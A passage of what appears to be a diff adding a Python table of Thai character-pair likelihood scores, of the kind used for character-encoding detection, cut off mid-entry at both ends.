43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 2, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 58: { # 'ฎ' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 1, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 57: { # 'ฏ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 1, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 49: { # 'ฐ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 53: { # 'ฑ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 55: { # 'ฒ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 43: { # 'ณ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 3, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 3, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 3, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 1, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 20: { # 'ด' + 5: 2, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 3, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 2, # 'า' + 36: 2, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 1, # 'ึ' + 27: 2, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 2, # 'ๆ' + 37: 2, # '็' + 6: 1, # '่' + 7: 3, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 19: { # 'ต' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 2, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 2, # 'ภ' + 9: 1, # 'ม' + 16: 1, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 0, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 3, # 'ิ' + 13: 2, # 'ี' + 40: 1, # 'ึ' + 27: 1, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 2, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 44: { # 'ถ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 2, # 'ั' + 1: 3, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 1, # 'ี' + 40: 3, # 'ึ' + 27: 2, # 'ื' + 32: 2, # 'ุ' + 35: 3, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 14: { # 'ท' + 5: 1, # 'ก' + 30: 1, # 'ข' + 24: 3, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 3, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 3, # 'ย' + 2: 3, # 'ร' + 61: 1, # 'ฤ' + 15: 1, # 'ล' + 12: 2, # 'ว' + 42: 3, # 'ศ' + 46: 1, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 2, # 'ึ' + 27: 1, # 'ื' + 32: 3, # 'ุ' + 35: 1, # 'ู' + 11: 0, # 'เ' + 28: 1, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 48: { # 'ธ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 2, # 'า' + 36: 0, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 2, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 3, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 3: { # 'น' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 1, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 2, # 'ถ' + 14: 3, # 'ท' + 48: 3, # 'ธ' + 3: 2, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 2, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 1, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 1, # 'ฯ' + 22: 2, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 3, # 'ำ' + 23: 3, # 'ิ' + 13: 3, # 'ี' + 40: 3, # 'ึ' + 27: 3, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 3, # 'โ' + 29: 3, # 'ใ' + 33: 3, # 'ไ' + 50: 2, # 'ๆ' + 37: 1, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 17: { # 'บ' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 1, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 2, # 'ิ' + 13: 2, # 'ี' + 40: 0, # 'ึ' + 27: 2, # 'ื' + 32: 3, # 'ุ' + 35: 2, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 1, # '็' + 6: 2, # '่' + 7: 2, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 25: { # 'ป' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 1, # 'ฎ' + 57: 3, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 0, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 1, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 1, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 3, # 'ั' + 1: 1, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 3, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 1, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 2, # 'แ' + 41: 0, # 'โ' + 29: 1, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 3, # '็' + 6: 1, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 39: { # 'ผ' + 5: 1, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 1, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 1, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 2, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 1, # 'ื' + 32: 0, # 'ุ' + 35: 3, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 1, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 62: { # 'ฝ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 1, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 1, # 'ี' + 40: 2, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 2, # '่' + 7: 1, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 31: { # 'พ' + 5: 1, # 'ก' + 30: 1, # 'ข' + 24: 1, # 'ค' + 8: 1, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 2, # 'ฤ' + 15: 2, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 3, # 'ั' + 1: 3, # 'า' + 36: 0, # 